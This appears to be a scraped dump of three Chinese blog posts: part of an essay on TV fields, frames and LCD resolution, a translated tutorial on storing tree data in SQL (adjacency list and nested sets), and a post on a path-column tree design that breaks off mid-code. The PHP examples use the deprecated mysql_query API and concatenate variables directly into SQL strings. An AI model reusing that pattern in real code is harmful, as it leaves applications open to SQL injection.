典型的問題之一，是將場同步變成頁同步後，必須併左腳右腳為一步，結果就失去了應有的平衡。許多人都說：電視的畫面是由60個圖場捉雙成對地組成30格畫 面顯示，事實上這個說法只是算數式的想當然爾。因為兩條腿走路，由左腳到右腳算一步，由右腳到左腳同樣算一步，左右交互而行的最大的好處就是平衡。換言 之，電視的60個圖場即使雙雙組成也是60格畫面，只不過影像如果是動的時候，電視將出現60格\u0026rdquo;半畫面(場)\u0026rdquo;，但絕非30格鋸齒狀的\u0026rdquo;全畫面\u0026rdquo;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**6a CRT螢幕最妙的是景物呈現緩慢移動時(如湖上波光、噴泉流水及片尾徐徐上升的字幕\u0026hellip;.)最美，當影像一被凍結時，感覺就生硬了；相反的，LCD螢幕是在影像完全靜止時最美\u0026hellip;..\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**7 60 場並成30格的問題是在數位化後才產生的，第一個碰到這問題的是DVD，因為MPG壓縮必須以格進行，說來有點荒謬，因為它有點像強迫馬兒的四條腿雙雙綁 起，變成兩條腿走路一樣。許多人在人模人樣走路的時候，從來沒想過馬走路的方式，其實比人走路高明100倍。儘管馬沒有手，但教馬用只兩條腿走路，多出來 的腿也不可能變成手啊！\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**8電視訊號原本是一條串一條串成一長條 的，每一短條間，都有一次同步，可稱為水平小同步，而在262.5個小同步後，更會有一次垂直大同步，同步的作用就是\u0026rdquo;中斷後從頭再來\u0026rdquo;。所以只要電視還 是電視，掃瞄線永遠是奇數的，而馬若仍然是馬，就一定用四條腿走路。525 / 625 / 1125條掃瞄線除2後，一定出現0.5條，在262.5條 處被垂直同步中斷後回到上方，自然也由半條處開始，這就形成左右交互而行的間插效果。除非你的雙腳變成輪子，千萬別說兩隻腳走路會搖擺\u0026hellip;\u0026hellip;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**9 電視訊號進到掃瞄型顯示器上，只要有同步訊號就可將所有的事情搞定，一切都是那麼自然，可是在數位型顯示器上，事情就不單純了。它當然也可以來一行掃(更 新)一行，這是早期大多數480\u0026#215;640液晶電視(通常用於車上)的作法，毋庸置疑的，其畫面品質實在相去NTSC電視應有的品質太遠。原因有兩個：一是 液晶的遲頓反應比起人類的視覺暫留時間要大上許多，因而形成粗糙的齒狀拖尾；另一是480\u0026#215;640的成像矩陣實在太粗糙了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**10 理論上525條掃瞄線扣除垂直遮沒時間，大約只能看到480條，在A/D時當然就只需取樣480點，但取樣後的每一個點既非方又非圓，它只是一個數據，而 此數據再度成像時，究竟要以圓或方呈現就是個大問題，說得比較簡單一點，CRT的電子束在螢光幕上畫線除了濃淡之外還有粗細變化，可是用馬賽克拼圖，每一 個圖素都只能是一樣大小、一樣的形狀及一樣的間隔，這使得480點實際並拼不出480線。這問題十分有趣，因為總要有一行黑一行白才能形成一條線，但在掃 瞄型顯示器上，經由檢驗圖實測，480條的掃瞄線，居然可分辨出300~350條橫線條(垂直解析度)，而在數位型顯示器上，若以相同的檢驗圖進行檢視 時，不只最多只能辨認240線，而且會出現難看的鋸齒。問題就出在馬賽克拼圖時，圖素與圖素間是驟然的變化的，一就是一，二就是二。用以解決鋸齒的方法是 邊緣模糊(True Type字型技術)，但為補償邊緣模糊所造成的清晰度損失，必須將數位解析度提升，經實驗結果，將480點提升1.5倍也就是720 點，此時經由模糊後形成的視覺解析度大約和480線掃瞄相當。這也就是為什麼現在大多數數位顯示器的垂直像素多定為720的原因。而明白這點，也就會明白 720等級的顯示器，其成像解析度其實是與525線的CRT相當的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**10a 相同的原理，也出現在音響上，有許多人不解CD原始取樣率就只有44.1K，播放時超取樣為88.2K甚至176.4K有何意義？事實上超取樣的用意在便於濾波，而濾波在視覺上的功能就是模糊化。\n**10b 還有300dpi的熱昇華也遠超過2400dpi甚至4800dpi的噴墨\u0026hellip;\u0026hellip;不過說來也悲哀，因為熱昇華已經慢慢不見了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**11 繼DVD之後，在液晶顯示器所碰到的併場為格問題更是棘手，因為DVD在編碼時，可以人工設定是電影(24F/S)或電視(60f/S)、要不要去格？甚 至上場或下場優先，而這些資訊也會以旗標方式寫進數位化檔案，使得在播放時，得以順利還原為NTSC格式訊號。可是一架液晶顯示器通常會接上多個訊源，例 如DVD Player、有或無線電視，甚至同一訊源還參雜許多不同類型節目，尤其是電台節目總是電視、電影、廣告、插播胡接一通，再好的邏輯電路都難以 在瞬間辨認節目類型以進行不同的處理，即便是播放DVD也不只是電影，此時Y,Pb,Pr循序輸出，若不逐片設定，便會有錯綁馬腳學人走的尷尬場面出現。\n如果有人說：我的電漿只用來看電影\u0026hellip;\u0026hellip;那是他家的事(不要來這裡吵架)。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**12 最近又出現一個說法：《只有點對點的解析度才算真實解析度\u0026hellip;\u0026hellip;》。這個簡單、想當然爾的說法，主要在提醒720等級顯示器的用戶們，如果你不升格到 1080等級，就不能看到HD的真實面貌。儘管現在市上1080等級的顯示器不多，但我不得不更進一步提醒您：480\u0026#215;640的液晶畫面相對於525線 4:3的畫面不也是點對點嗎？既然事實已經證明其畫面品質相去NTSC應有品質甚遠，當你準備升格為1920\u0026#215;1080之前，即使我不明說，你也該知道我 會說什麼啦！\n","title":"一篇奇怪的文章…哈哈..电视?电脑?….显示器!"},{"content":"作者：Gijs Van Tulder\n翻译：ShiningRay @ NirvanaStudio 无论你要构建自己的论坛，在你的网站上发布消息还是书写自己的cms [1]程序，你都会遇到要在数据库中存储层次数据的情况。同时，除非你使用一种像XML [2]的数据库，否则关系数据库中的表都不是层次结构的，他们只是一个平坦的列表。所以你必须找到一种把层次数据库转化的方法。\n存储树形结构是一个很常见的问题，他有好几种解决方案。主要有两种方法：邻接列表模型和改进前序遍历树算法\n在本文中，我们将探讨这两种保存层次数据的方法。我将举一个在线食品店树形图的例子。这个食品店通过类别、颜色和品种来组织食品。树形图如下：\n本文包含了一些代码的例子来演示如何保存和获取数据。我选择PHP [3]来写例子，因为我常用这个语言，而且很多人也都使用或者知道这个语言。你可以很方便地把它们翻译成你自己用的语言。\n邻接列表模型(The Adjacency List Model) 我们要尝试的第一个\u0026mdash;\u0026mdash;也是最优美的\u0026mdash;\u0026mdash;方法称为\u0026ldquo;邻接列表模型\u0026rdquo;或称为\u0026ldquo;递归方法\u0026rdquo;。它是一个很优雅的方法因为你只需要一个简单的方法来在你的树中进行迭代。在我们的食品店中，邻接列表的表格如下：\n如你所见，对每个节点保存一个\u0026ldquo;父\u0026rdquo;节点。我们可以看到\u0026ldquo;Pear [4]\u0026rdquo;是\u0026ldquo;Green\u0026rdquo;的一个子节点，而后者又是\u0026ldquo;Fruit\u0026rdquo;的子节点，如此类推。根节点，\u0026ldquo;Food\u0026rdquo;，则他的父节点没有值。为了简单，我只用了\u0026ldquo;title\u0026rdquo;值来标识每个节点。当然，在实际的数据库中，你要使用数字的ID。\n显示树\n现在我们已经把树放入数据库中了，得写一个显示函数了。这个函数将从根节点开始\u0026mdash;\u0026mdash;没有父节点的节点\u0026mdash;\u0026mdash;同时要显示这个节点所有的子节点。对于这些子节点，函数也要获取并显示这个子节点的子节点。然后，对于他们的子节点，函数还要再显示所有的子节点，然后依次类推。\n也许你已经注意到了，这种函数的描述，有一种普遍的模式。我们可以简单地只写一个函数，用来获得特定节点的子节点。这个函数然后要对每个子节点调用自身来再次显示他们的子节点。这就是\u0026ldquo;递归\u0026rdquo;机制，因此称这种方法叫\u0026ldquo;递归方法\u0026rdquo;。\n\u0026lt;?php // $parent 是我们要查看的子节点的父节点\n// $level 会随着我们深入树的结构而不断增加，\n// 用来显示一个清晰的缩进格式\nfunction display_children($parent, $level) { // 获取$parent的全部子节点\n$result = mysql_query('SELECT title FROM tree '. 'WHERE parent=\u0026quot;'.$parent.'\u0026quot;;'); // 显示每个节点\nwhile ($row = mysql_fetch_array($result)) { // 缩进并显示他的子节点的标题\necho str_repeat(' ',$level).$row['title'].\u0026quot;n\u0026quot;; // 再次调用这个函数来显着这个子节点的子节点\ndisplay_children($row['title'], $level+1); } } ?\u0026gt;\n要实现整个树，我们只要调用函数时用一个空字符串作为$parent 和$level = 0: display_children('',0); 函数返回了我们的食品店的树状图如下：\nFood\nFruit\nRed\nCherry\nYellow\nBanana\nMeat\nBeef\nPork\n注意如果你只想看一个子树，你可以告诉函数从另一个节点开始。例如，要显示\u0026ldquo;Fruit\u0026rdquo;子树，你只要display_children('Fruit',0);\nThe Path to a Node节点的路径\n利用差不多的函数，我们也可以查询某个节点的路径如果你只知道这个节点的名字或者ID。例如，\u0026ldquo;Cherry\u0026rdquo;的路径是\u0026ldquo;Food\u0026rdquo;\u0026gt; \u0026ldquo;Fruit\u0026rdquo;\u0026gt;\u0026ldquo;Red\u0026rdquo;。要获得这个路径，我们的函数要获得这个路径，这个函数必须从最深的层次开始：\u0026ldquo;Cheery\u0026rdquo;。但后查找这个节点的父 节点，并添加到路径中。在我们的例子中，这个父节点是\u0026ldquo;Red\u0026rdquo;。如果我们知道\u0026ldquo;Red\u0026rdquo;是\u0026ldquo;Cherry\u0026rdquo;的父节点。\n\u0026lt;?php // $node 是我们要查找路径的那个节点的名字\nfunction get_path($node) { // 查找这个节点的父节点\n$result = mysql_query('SELECT parent FROM tree '. 'WHERE title=\u0026quot;'.$node.'\u0026quot;;'); $row = mysql_fetch_array($result); // 在这个array [5] 中保存数组\n$path = array(); // 如果 $node 不是根节点，那么继续\nif ($row['parent']!='') { // $node 的路径的最后一部分是$node父节点的名称\n$path[] = $row['parent']; // 我们要添加这个节点的父节点的路径到现在这个路径\n$path = array_merge(get_path($row['parent']), $path); } // 返回路径\nreturn $path; } ?\u0026gt;\n这个函数现在返回了指定节点的路径。他把路径作为数组返回，这样我们可以使用print_r(get_path('Cherry')); 来显示，其结果是：\nArray ( [0] =\u0026gt; Food [1] =\u0026gt; Fruit [2] =\u0026gt; Red )\n不足\n正如我们所见，这确实是一个很好的方法。他很容易理解，同时代码也很简单。但是邻接列表模型的缺点在哪里呢？在大多数编程语言中，他运行很慢，效率很差。这主要是\u0026ldquo;递归\u0026rdquo;造成的。我们每次查询节点都要访问数据库。\n每次数据库查询都要花费一些时间，这让函数处理庞大的树时会十分慢。\n造成这个函数不是太快的第二个原因可能是你使用的语言。不像Lisp这类语言，大多数语言不是针对递归函数设计的。对于每个节点，函数都要调用他自 己，产生新的实例。这样，对于一个4层的树，你可能同时要运行4个函数副本。对于每个函数都要占用一块内存并且需要一定的时间初始化，这样处理大树时递归 就很慢了。\n改进前序遍历树 现在，让我们看另一种存储树的方法。递归可能会很慢，所以我们就尽量不使用递归函数。我们也想尽量减少数据库查询的次数。最好是每次只需要查询一次。\n我们先把树按照水平方式摆开。从根节点开始（\u0026ldquo;Food\u0026rdquo;），然后他的左边写上1。然后按照树的顺序（从上到下）给\u0026ldquo;Fruit\u0026rdquo;的左边写上2。这 样，你沿着树的边界走啊走（这就是\u0026ldquo;遍历\u0026rdquo;），然后同时在每个节点的左边和右边写上数字。最后，我们回到了根节点\u0026ldquo;Food\u0026rdquo;在右边写上18。下面是标上 了数字的树，同时把遍历的顺序用箭头标出来了。\n我们称这些数字为左值和右值（如，\u0026ldquo;Food\u0026rdquo;的左值是1，右值是18）。正如你所见，这些数字按时了每个节点之间的关系。因为\u0026ldquo;Red\u0026rdquo;有3和6 两个值，所以，它是有拥有1-18值的\u0026ldquo;Food\u0026rdquo;节点的后续。同样的，我们可以推断所有左值大于2并且右值小于11的节点，都是有2-11的 \u0026ldquo;Food\u0026rdquo;节点的后续。这样，树的结构就通过左值和右值储存下来了。这种数遍整棵树算节点的方法叫做\u0026ldquo;改进前序遍历树\u0026rdquo;算法。\n在继续前，我们先看看我们的表格里的这些值：\n注意单词\u0026ldquo;left\u0026rdquo;和\u0026ldquo;right\u0026rdquo;在SQL中有特殊的含义。因此，我们只能用\u0026ldquo;lft\u0026rdquo;和\u0026ldquo;rgt\u0026rdquo;来表示这两个列。（译注\u0026mdash;\u0026mdash;其实Mysql 中可以用\u0026ldquo;`\u0026rdquo;来表示，如\u0026ldquo;`left`\u0026rdquo;，MSSQL中可以用\u0026ldquo;[]\u0026rdquo;括出，如\u0026ldquo;[left]\u0026rdquo;，这样就不会和关键词冲突了。）同样注意这里我们已经不 需要\u0026ldquo;parent\u0026rdquo;列了。我们只需要使用lft和rgt就可以存储树的结构。\n获取树\n如果你要通过左值和右值来显示这个树的话，你要首先标识出你要获取的那些节点。例如，如果你想获得\u0026ldquo;Fruit\u0026rdquo;子树，你要选择那些左值在2到11的节点。用SQL语句表达：\nSELECT * FROM tree WHERE lft BETWEEN 2 AND 11;\n这个会返回：\n好吧，现在整个树都在一个查询中了。现在就要像前面的递归函数那样显示这个树，我们要加入一个ORDER BY子句在这个查询中。如果你从表中添加和删除行，你的表可能就顺序不对了，我们因此需要按照他们的左值来进行排序。\nSELECT * FROM tree WHERE lft BETWEEN 2 AND 11 ORDER BY lft ASC;\n就只剩下缩进的问题了。\n要显示树状结构，子节点应该比他们的父节点稍微缩进一些。我们可以通过保存一个右值的一个栈。每次你从一个节点的子节点开始时，你把这个节点的右值 添加到栈中。你也知道子节点的右值都比父节点的右值小，这样通过比较当前节点和栈中的前一个节点的右值，你可以判断你是不是在显示这个父节点的子节点。当 你显示完这个节点，你就要把他的右值从栈中删除。要获得当前节点的层数，只要数一下栈中的元素。\n\u0026lt;?php function display_tree($root) { // 获得$root节点的左边和右边的值\n$result = mysql_query('SELECT lft, rgt FROM tree '. 'WHERE title=\u0026quot;'.$root.'\u0026quot;;'); $row = mysql_fetch_array($result); // 以一个空的$right栈开始\n$right = array(); // 现在，获得$root节点的所有后序\n$result = mysql_query('SELECT title, lft, rgt FROM tree '. 'WHERE lft BETWEEN '.$row['lft'].' AND '. $row['rgt'].' ORDER BY lft ASC;'); // 显示每一行\n\u0026nbsp;\u0026nbsp; while ($row = mysql_fetch_array($result)) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 检查栈里面有没有元素\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (count($right)\u0026gt;0) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 检查我们是否需要从栈中删除一个节点\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; while ($right[count($right)-1]\u0026lt;$row['rgt']) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; array_pop($right); \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 显示缩进的节点标题\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; echo str_repeat(' ',count($right)).$row['title'].\u0026quot;n\u0026quot;; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 把这个节点添加到栈中\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $right[] = $row['rgt']; \u0026nbsp;\u0026nbsp; } } ?\u0026gt;\n如果运行这段代码，你可以获得和上一部分讨论的递归函数一样的结果。而这个函数可能会更快一点：他不采用递归而且只是用了两个查询\n节点的路径\n有了新的算法，我们还要另找一种新的方法来获得指定节点的路径。这样，我们就需要这个节点的祖先的一个列表。\n由于新的表结构，这不需要花太多功夫。你可以看一下，例如，4-5的\u0026ldquo;Cherry\u0026rdquo;节点，你会发现祖先的左值都小于4，同时右值都大于5。这样，我们就可以使用下面这个查询：\nSELECT title FROM tree WHERE lft \u0026lt; 4 AND rgt \u0026gt; 5 ORDER BY lft ASC;\n注意，就像前面的查询一样，我们必须使用一个ORDER BY子句来对节点排序。这个查询将返回：\n+-------+\n| title |\n+-------+\n| Food |\n| Fruit |\n| Red\u0026nbsp;\u0026nbsp; |\n+-------+\n我们现在只要把各行连起来，就可以得到\u0026ldquo;Cherry\u0026rdquo;的路径了。\n有多少个后续节点？How Many Descendants\n如果你给我一个节点的左值和右值，我就可以告诉你他有多少个后续节点，只要利用一点点数学知识。\n因为每个后续节点依次会对这个节点的右值增加2，所以后续节点的数量可以这样计算：\ndescendants = (right \u0026ndash; left - 1) / 2\n利用这个简单的公式，我可以立刻告诉你2-11的\u0026ldquo;Fruit\u0026rdquo;节点有4个后续节点，8-9的\u0026ldquo;Banana\u0026rdquo;节点只是1个子节点，而不是父节点。\n自动化树遍历\n现在你对这个表做一些事情，我们应该学习如何自动的建立表了。这是一个不错的练习，首先用一个小的树，我们也需要一个脚本来帮我们完成对节点的计数。\n让我们先写一个脚本用来把一个邻接列表转换成前序遍历树表格。\n\u0026lt;?php function rebuild_tree($parent, $left) { // 这个节点的右值是左值加1\n$right = $left+1; // 获得这个节点的所有子节点\n$result = mysql_query('SELECT title FROM tree '. 'WHERE parent=\u0026quot;'.$parent.'\u0026quot;;'); while ($row = mysql_fetch_array($result)) { // 对当前节点的每个子节点递归执行这个函数\n// $right 是当前的右值，它会被rebuild_tree函数增加\n$right = rebuild_tree($row['title'], $right); } // 我们得到了左值，同时现在我们已经处理这个节点我们知道右值的子节点\nmysql_query('UPDATE tree SET lft='.$left.', rgt='. $right.' WHERE title=\u0026quot;'.$parent.'\u0026quot;;'); // 返回该节点的右值+1\nreturn $right+1; } ?\u0026gt;\n这是一个递归函数。你要从rebuild_tree('Food',1); 开始，这个函数就会获取所有的\u0026ldquo;Food\u0026rdquo;节点的子节点。\n如果没有子节点，他就直接设置它的左值和右值。左值已经给出了，1，右值则是左值加1。如果有子节点，函数重复并且返回最后一个右值。这个右值用来作为\u0026ldquo;Food\u0026rdquo;的右值。\n递归让这个函数有点复杂难于理解。然而，这个函数确实得到了同样的结果。他沿着树走，添加每一个他看见的节点。你运行了这个函数之后，你会发现左值和右值和预期的是一样的（一个快速检验的方法：根节点的右值应该是节点数量的两倍）。\n添加一个节点\n我们如何给这棵树添加一个节点？有两种方式：在表中保留\u0026ldquo;parent\u0026rdquo;列并且重新运行rebuild_tree() 函数\u0026mdash;\u0026mdash;一个很简单但却不是很优雅的函数；或者你可以更新所有新节点右边的节点的左值和右值。\n第一个想法比较简单。你使用邻接列表方法来更新，同时使用改进前序遍历树来查询。如果你想添加一个新的节点，你只需要把节点插入表格，并且设置好parent列。然后，你只需要重新运行rebuild_tree() 函数。这做起来很简单，但是对大的树效率不高。\n第二种添加和删除节点的方法是更新新节点右边的所有节点。让我们看一下例子。我们要添加一种新的水果\u0026mdash;\u0026mdash;\u0026ldquo;Strawberry\u0026rdquo;，作为\u0026ldquo;Red\u0026rdquo; 的最后一个子节点。首先，我们要腾出一个空间。\u0026ldquo;Red\u0026rdquo;的右值要从6变成8，7-10的\u0026ldquo;Yellow\u0026rdquo;节点要变成9-12，如此类推。更新\u0026ldquo;Red\u0026rdquo; 节点意味着我们要把所有左值和右值大于5的节点加上2。\n我们用一下查询：\nUPDATE tree SET rgt=rgt+2 WHERE rgt\u0026gt;5; UPDATE tree SET lft=lft+2 WHERE lft\u0026gt;5;\n现在我们可以添加一个新的节点\u0026ldquo;Strawberry\u0026rdquo;来填补这个新的空间。这个节点左值为6右值为7。\nINSERT INTO tree SET lft=6, rgt=7, title='Strawberry';\n如果我们运行display_tree() 函数，我们将发现我们新的\u0026ldquo;Strawberry\u0026rdquo;节点已经成功地插入了树中：\nFood Fruit Red Cherry Strawberry Yellow Banana Meat Beef Pork\n缺点\n首先，改进前序遍历树算法看上去很难理解。它当然没有邻接列表方法简单。然而，一旦你习惯了左值和右值这两个属性，他就会变得清晰起来，你可以用这 个技术来完成临街列表能完成的所有事情，同时改进前序遍历树算法更快。当然，更新树需要很多查询，要慢一点，但是取得节点却可以只用一个查询。\n总结 你现在已经对两种在数据库存储树方式熟悉了吧。虽然在我这儿改进前序遍历树算法性能更好，但是也许在你特殊的情况下邻接列表方法可能表现更好一些。这个就留给你自己决定了\n最后一点：就像我已经说得我部推荐你使用节点的标题来引用这个节点。你应该遵循数据库标准化的基本规则。我没有使用数字标识是因为用了之后例子就比较难读。\n进一步阅读\n数据库指导 Joe Celko写的更多关于SQL数据库中的树的问题：\nhttp://searchdatabase.techtarget.com/tip/1,289483,sid13_gci537290,00.html [6]\n另外两种处理层次数据的方法：\nhttp://www.evolt.org/article/Four_ways_to_work_with_hierarchical_data/17/4047/index.html [7]\nXindice, \u0026ldquo;本地XML数据库\u0026rdquo;: http://xml.apache.org/xindice/ [8]\n递归的一个解释: http://www.strath.ac.uk/IT/Docs/Ccourse/subsection3_9_5.html [9]\n","permalink":"https://hessian.cn/p/371.html","summary":"作者：Gijs Van Tulder\n翻译：ShiningRay @ NirvanaStudio 无论你要构建自己的论坛，在你的网站上发布消息还是书写自己的cms [1]程序，你都会遇到要在数据库中存储层次数据的情况。同时，除非你使用一种像XML [2]的数据库，否则关系数据库中的表都不是层次结构的，他们只是一个平坦的列表。所以你必须找到一种把层次数据库转化的方法。\n存储树形结构是一个很常见的问题，他有好几种解决方案。主要有两种方法：邻接列表模型和改进前序遍历树算法\n","title":"在数据库中存储层次数据"},{"content":"在一个标准的树形结构里面，一般要想知道的操作基本上有查询子树和查询所有父树（路径），还有就是查询子树自身的深度问题，通过前些日子的总结发现一种结构可以很好的满足这些要求。\nid parentID\u0026nbsp;\u0026nbsp; name \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; path\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n1 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 图书 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1\n2 \u0026nbsp;\u0026nbsp;\u0026nbsp; 1 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 管理类 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2\n3 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 名家作品 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0,1,2,3\n4 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 国内 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2,4\n5 \u0026nbsp;\u0026nbsp;\u0026nbsp; 2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 外国 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,1,2,5\n6 \u0026nbsp;\u0026nbsp;\u0026nbsp; 0 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 文学类 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,6\n7 \u0026nbsp;\u0026nbsp;\u0026nbsp; 6 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 小说 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 0,6,7\n上面这种结构就是我推荐的，这种结构对于我们通常用的id-parentID结构增加了一个路径(path)列，好处就是可以直接通过查询path列来找 出某个节点的子树和路径，比如2号节点的子树可以通过先查2号子树的path，然后再用like \u0026#8216;0,1,2%\u0026#8217;方式来得到。其路径可以通过in(0,1,2)查询到。深度可以通过explode(\u0026#8216;,\u0026#8217;,$path)，然后看看数组个数就可以看出 节点的深度了，这样就可以构建出一个树形结构了。\npath列的构建可以在原有id-parentID结构上增加，通过id和parentid可以很方便的构建出某个节点的子树的path列（需要递归算法）。\n常用的函数可以有三个：\nnav($node) 根据节点求出其路径，先找出节点path然后根据path用\u0026quot;select * from category where id in ($path)\u0026quot;,就能求出其路径所有节点了，方便导航。\ntree($node)根据节点求出其所有子树，先找出节点path，然后用\u0026quot;select * from category where path like \u0026#8216;$path%\u0026#8217;\u0026quot;,就可以找出所有子节点啦，这里可以通过计算每个节点的path中有几个元素explode(\u0026#8216;,\u0026#8217;$path)计算每个节点的深度。\nre_path($node)根据节点，重新构建子树的path，这个需要利用ID和ParentID两列，利用递归逐步计算，因为只有在改变子树隶属关系和建立新节点的时候用到，所以计算量应该不是很多。\n好了上面是这种算法的基本构想，大家有什么新的构想，提出来讨论一下。\n\u0026ldquo;改进前序遍历树\u0026rdquo;方法，这里有相关中文翻译介绍，http://www.nirvanastudio.org/category/database/\n我这里提的方法很像\u0026ldquo;邻接列表模型\u0026rdquo;，就是增加了一个path列，所以针对邻接列表模型所遇到的最大的问题，子树、路径和深度问题得到了改善。\n而改进前序遍历树方法也是有很大的局限的，就是当某个节点变换父节点时需要做大量的修改左右数值。而上面的方法修改量要小一点！\n不知道这么说是否妥当，请指教！\n附常用的三个函数:\nfunction nav($id,$db){\n$rs=$db-\u0026gt;query(\u0026quot;select * from category where id=\u0026#8217;\u0026quot;.$id.\u0026quot;\u0026#8217;\u0026quot;);\n$row=$rs-\u0026gt;fetch(); $rs=$db-\u0026gt;query(\u0026quot;select * from category where id in 